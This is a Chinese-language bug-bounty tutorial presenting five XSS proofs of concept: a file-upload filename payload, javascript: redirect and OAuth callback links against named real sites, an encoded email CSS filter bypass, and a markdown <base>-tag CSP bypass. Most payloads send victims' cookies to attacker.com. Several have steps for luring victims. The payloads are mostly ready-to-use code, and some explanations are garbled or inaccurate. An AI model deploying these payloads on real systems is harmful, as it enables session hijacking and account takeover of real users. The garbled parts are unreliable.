通过 5 个顶级 PoC 学习精英白帽寻找 XSS 的方法与技巧。
PoC1:文件上传+CSRF
寻找易受攻击的端点 在支持聊天功能的窗口拦截文件上传(Burp Suite → POST /upload_file ) 关键特征:请求中未包含CSRF Token 创建Payload:
"><img src=1 onerror="
url=String.fromCharCode(104,116,116,112,...); // Convert attacker URL to ASCII
xhttp=new XMLHttpRequest();
xhttp.open('GET',url+document.cookie,true); // Steal cookies
xhttp.send();
">
使用ASCII转换进行URL编码。
执行攻击: A. 上传带有恶意文件名的文件 B. 当受害者查看聊天时→Payload会自动触发 C. 攻击者获得受害者的会话Cookie
影响&教训
文件上传中的XSS“金矿” onerror
无需用户点击的触发器ASCII编码的绕过技巧 影响:帐户完全接管 经验与教训:
PoC2:重定向XSS
寻找易受攻击的端点 登录后测试所有重定向参数: https://accounts.reddit.com/?dest=TEST
触发条件:Payload在登录后执行 创建Payload:
https://accounts.reddit.com/?dest=javascript:fetch('//attacker.com?c='+btoa(document.cookie))
如果被阻止,可对特殊字符进行编码( 如:%28 = ( , %29 = ) )
执行攻击: 向受害者发送恶意链接 受害者登录 → Payload在重定向后执行 攻击者获得受害者会话令牌 影响&教训: javascript:
在认证后重定向中生效始终测试认证流程中的参数(如:dest , redirect_uri 等) 影响:帐户劫持 经验与教训:
PoC3:Email 过滤绕过
寻找漏洞端点:
HTML 邮件处理系统 关键特征:CSS url(cid://)
渲染 HTML创建Payload:
<style>
url(cid://\00003c\000073\000063\000072\000069\000070\000074\00003e
fetch('//attacker.com?'+document.cookie)
\00003c\00002f\000073\000063\000072\000069\000070\000074\00003e);
</style>
\00003c
等于 <
的八进制编码
执行攻击:
A. 发送包含Payload的原始邮件 B. 受害者打开邮件 → 过滤器失效 → Payload 执行 C. 攻击者劫持邮件转发规则
影响&教训:
使用八进制编码绕过 HTML 过滤器 CSS url()
技巧使用原始 HTML 测试电子邮件客户端 影响:邮件帐户被攻破 经验与教训:
PoC4:OAuth XSS
寻找易受攻击的端点:
初始化: /services/login/identity?google_apps_uri=... 在“使用Google 登录”流程中触发 创建Payload:
https://app.shopify.com/services/login/identity?google_apps_uri=javascript:fetch('//attacker.com?c='+document.cookie)
执行攻击:
A. 诱使受害者点击恶意链接 B. 受害者通过 Google 登录 → Payload在过程中成功执行 C. 管理员 Cookie 被窃取
影响&教训:
测试所有 OAuth 回调参数 javascript:
同样适用于第三方认证流程员工/管理员账户是高价值目标 Shopify 商店劫持 经验与教训:
PoC5:Markdown XSS + CSP 绕过
1.寻找漏洞端点: - Markdown 编辑器(issues、维基) - 关键标志:允许的 HTML 属性,如 data-sourcepos
2.创建Payload:
<pre data-sourcepos=""%22 href="x"></pre>
<base href="https://attacker.com"> <!-- Hijack resources -->
<pre x="">
<code></code></pre>
执行攻击: A. 在问题描述中提交Payload B. 受害者查看问题 → 从 attacker.com 加载脚本 C. 恶意 JS 在有效的 CSP nonce 下运行
影响&教训:
<base>
标签绕过 CSP混乱的 HTML 混淆过滤器 缺失资源=利用机会 影响:完全账户接管 + SSO 访问 经验与教训:
“ XSS与复杂性无关,而是要寻找开发人员忘记验证的位置,从文件上传和重定向开始,这些都是唾手可得的果实!”